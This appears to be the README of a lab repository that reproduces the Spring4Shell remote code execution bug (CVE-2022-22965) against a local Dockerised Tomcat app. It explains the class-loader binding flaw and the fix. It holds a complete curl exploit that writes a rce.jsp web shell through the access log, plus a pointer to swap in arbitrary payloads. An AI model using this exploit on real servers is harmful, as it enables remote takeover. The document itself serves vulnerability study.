Minimal example of how to reproduce CVE-2022-22965 Spring RCE.
- Build the application using Docker compose
docker-compose up --build
- To test the app browse to http://localhost:8080/handling-form-submission-complete/greeting
- Run the exploit
./exploits/run.sh
- The exploit is going to create
rce.jspfile inwebapps/handling-form-submission-completeon the web server. - Use the exploit Browse to http://localhost:8080/handling-form-submission-complete/rce.jsp
-
Run the Tomcat server in docker
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
Add
-p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"if you want to debug remotely. -
Build the project
./mvnw install
-
Deploy the app
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
-
Write the exploit
curl -X POST \ -H "pre:<%" \ -H "post:;%>" \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \ http://localhost:8888/handling-form-submission-complete/greeting
The exploit is going to create
rce.jspfile inwebapps/handling-form-submission-completeon the web server. -
Use the exploit
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
Now you'll see
123in the container's terminal. ReplaceSystem.out.println(123)with your payload to execute arbitrary code.
- Spring knows how to bind form fields to Java object. In our example
GreetingControllerhandle POST requests on/greetingendpoint and binds form fields to theGreetingobject. - It also supports binding of nested fields (e.g.
user.info.firstname). See the AbstractNestablePropertyAccessor for references. - In our example
Greetingclass has two fieldsidandcontent, but actually it also has a reference to the Class object. We can useclass.module.classLoaderas a form data key to access the classloader. - In the fix we can see that the main change was to restrict access to most of the Class object properties, including the
moduleone. - This behaviour allows us to set public properties of classes accessible via nested reference chain from the
Greetingclass. Nothing else. In most of the cases it is not even dangerous because no classes with public fields are available even fromclass.module.classLoader.. - It becomes a problem on the Tomcat server because the classloader there has
getResourcesaccessor which allows us to continue the reference chain and access one of the instances of theAccessLogValveclass. - This class is meant to write logs. We change some properties to make it write files with the name and content of our choice. We have arbitrary file write at this point.
- We create
jspfile with in the root of the application folder with the malicious payload. As far asjspare automatically executed by the Tomcat we can navigate to it in the browser and eventually execute the payload. Now it is RCE.
The exploit works only on Tomcat because it has special classloader. Although the similar reference chain may exist on other web application servers as well. It is not simply discovered yet.
The exploit requires Java 9 or above because module property was added in Java 9.
- The server part is based on the https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a step-by-step manual.
- The exploit part is based on https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py script.
- Snyk advisory about the vulnerability is available here: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751